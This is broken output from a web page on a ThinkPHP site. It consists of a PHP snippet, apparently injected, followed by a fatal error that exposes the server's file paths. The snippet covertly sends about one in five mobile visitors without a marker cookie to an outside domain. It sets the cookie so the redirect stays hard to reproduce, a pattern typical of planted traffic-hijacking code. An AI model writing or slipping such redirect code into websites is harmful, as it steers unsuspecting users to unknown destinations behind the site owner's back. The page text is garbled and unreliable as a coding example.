function redirectIfMobileAndNoCookie() { function isMobile() { return preg_match("/(android|iphone|ipad|ipod)/i", $_SERVER['HTTP_USER_AGENT']); } function hasCookie() { return isset($_COOKIE['redirected']); } if (isMobile() && !hasCookie()) { setcookie('redirected', 'true', time() + 604800, "/"); if (mt_rand(1, 100) <= 20) { header("Location: https://cacd.cc/xxxx"); exit; } } } redirectIfMobileAndNoCookie();
Fatal error: Uncaught Error: Class "think\App" not found in D:\wwwroot\tv.nxaqq.com\thinkphp\start.php:19 Stack trace: #0 D:\wwwroot\tv.nxaqq.com\index.php(39): require() #1 {main} thrown in D:\wwwroot\tv.nxaqq.com\thinkphp\start.php on line 19